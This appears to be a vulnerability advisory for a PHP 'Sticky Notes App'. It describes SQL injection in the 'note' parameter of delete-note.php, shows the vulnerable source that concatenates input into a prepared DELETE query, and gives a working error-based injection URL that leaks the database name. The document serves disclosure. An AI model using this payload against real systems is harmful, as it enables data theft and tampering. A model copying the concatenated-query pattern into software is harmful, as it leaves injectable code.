

SQL injection vulnerability exists in 'note' parameter of 'endpoint/delete-note.php' file of Sticky Notes App. Important user data or system data may be leaked and system security may be compromised. When visit 'delete-note.php' and page parameter is 'note' can do sql injection. 'note' variables are dynamically concatenated even though the code is precompiled.

delete-note.php:

```
conn.php x add-note.php x index.php x delete-note.php x
1 <?php
2 include ('../conn/conn.php');
3
4 if (isset($_GET['note'])) {
5     $note = $_GET['note'];
6
7     try {
8
9         $query = "DELETE FROM `tbl_note` WHERE `tbl_note_id` = '$note'";
10        $stmt = $conn->prepare($query);
11        $query_execute = $stmt->execute();
12
13        if ($query_execute) {
14            echo "
15            <script>
16                alert('Note Deleted Successfully!');
17                window.location.href = 'http://localhost/sticky-note-app/index.php';
18            </script>
19            ";
20        } else {
21            echo "
22            <script>
23                alert('Failed to Delete Note!');
24                window.location.href = 'http://localhost/sticky-note-app/index.php';
25            </script>
26            ";
27        }
28    }
```

Poc:

http://127.0.0.1/sticky-notes-app/endpoint/delete-note.php?note=0%27%20and%20updatexml(1,concat(0x7e,(database())),1)--+

